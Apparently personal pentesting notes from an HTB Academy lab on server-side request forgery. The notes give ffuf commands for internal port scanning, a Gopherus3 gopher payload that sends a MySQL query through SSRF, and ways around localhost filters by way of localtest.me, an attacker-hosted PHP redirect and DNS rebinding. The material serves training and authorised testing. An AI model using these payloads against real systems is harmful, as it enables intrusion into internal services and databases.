Identifying#
Notice in Burp or your network tab in browser devtool, if there is anything sending request like
GET /function.php?action=time&server=http://time.serverOr
POST /function.php
<...SNIP...>
action=time&server=http://time.serverPort Scan#
POST
seq 1 40000 > ports
ffuf -X POST -d "action=time&server=http://127.0.0.1:FUZZ" -H 'Content-Type: application/x-www-form-urlencoded' -u http://10.129.201.127/function.php -fr 'Failed to connect to' -w ./portsGET
seq 1 40000 > ports
ffuf -u 'http://10.129.201.127/function.php?action=time&server=http://127.0.0.1:FUZZ' -fr 'Failed to connect to' -w ./portsGopher#
pipx install git+https://github.com/Esonhugh/Gopherus3.gitexample how to use, on mysql
┌──(kali㉿kali)-[~/HTB/Academy/Server-Side Attacks]
└─$ gopherus3 --exploit mysql
________ .__ ________
/ _____/ ____ ______ | |__ ___________ __ __ ______ \_____ \
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/ _(__ <
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \ / \
\______ /\____/| __/|___| /\___ >__| |____//____ > /______ /
\/ |__| \/ \/ \/ \/
For making it work username should not be password protected!!!
Give query to execute: database()
Give MySQL username: admin
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:3306/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0b%00%00%00%03%64%61%74%61%62%61%73%65%28%29%01%00%00%00%01
-----------Made-by-Skyworship-----------Bypasses#
First off, try:
- IPs in
127.0.0.0/8range localhost0.0.0.0
Bypass via DNS Resolution#
If the webapp blocks local IP like this:
def check_domain(domain):
if 'localhost' in domain:
return False
try:
# parse IP
ip = ipaddress.ip_address(domain)
# check internal IP address space
if ip in ipaddress.ip_network('127.0.0.0/8'):
return False
if ip in ipaddress.ip_network('10.0.0.0/8'):
return False
if ip in ipaddress.ip_network('172.16.0.0/12'):
return False
if ip in ipaddress.ip_network('192.168.0.0/16'):
return False
if ip in ipaddress.ip_network('0.0.0.0/8'):
return False
except:
pass
return TrueThe hostname localtest.me resolves to localhost.
$ host localtest.me
localtest.me has address 127.0.0.1
localtest.me has IPv6 address ::1So we can input http://localtest.me
Bypass via HTTP Redirect#
The web application can resolve domain names provided by the user and verify whether they are private IP addresses, make our life harder
def check_domain(domain):
try:
# resolve domain
ip = socket.gethostbyname(domain)
# parse IP
ip = ipaddress.ip_address(ip)
# check internal IP address space
if ip in ipaddress.ip_network('127.0.0.0/8'):
return False
if ip in ipaddress.ip_network('10.0.0.0/8'):
return False
if ip in ipaddress.ip_network('172.16.0.0/12'):
return False
if ip in ipaddress.ip_network('192.168.0.0/16'):
return False
if ip in ipaddress.ip_network('0.0.0.0/8'):
return False
return True
except:
pass
return FalseWe can run this simple PHP script, to redirect to localhost
<?php header('Location: http://127.0.0.1/debug'); ?>
Then run it
php -S 0.0.0.0:80Finally, make the server make request to our own server with http://our-server.com/redirect.php
DNS rebinding#
This webapp resolve domain to IP twice, at socket.gethostbyname(parser) and requests.get(url).text.
@app.route('/', methods=['POST'])
def index():
url = request.form['text']
parser = urlparse(url).hostname
info = socket.gethostbyname(parser)
global_check = ipaddress.ip_address(info).is_global
if info not in BLACKLIST and global_check == True:
return render_template('index.html', mah_id=requests.get(url).text)
elif global_check == False:
return render_template('index.html', mah_id='Access Violation: Private IP Detected')We can exploit this by creating a DNS entry with a low Time-to-Live (TTL). The webapp will resolve our dns first time to check if our IP is public IP, and second time to access it. Essentially, this is a Race Condition vulnerability, which means pain, suffering and repeat
In the first DNS query, we can reply a correct public IP, and in second query, we reply 127.0.0.1.
Public Tool#
We can use rbndr.us for public testing/bug bounty. Source code here.
Local Tool#
If webapp doesn’t have internet connection (which is weird for this function), and we are doing local testing.
We can host our own DNS server, ask admin to create an DNS zone for us to control like this:
sub.example.com. IN NS OUR_IP.Then we can use the DNSrebinder Python script.
sudo python3 dnsrebinder.py --domain sub2.sub.example.com --ip 1.1.1.1 --rebind 127.0.0.1 --counter 1 --tcp --udp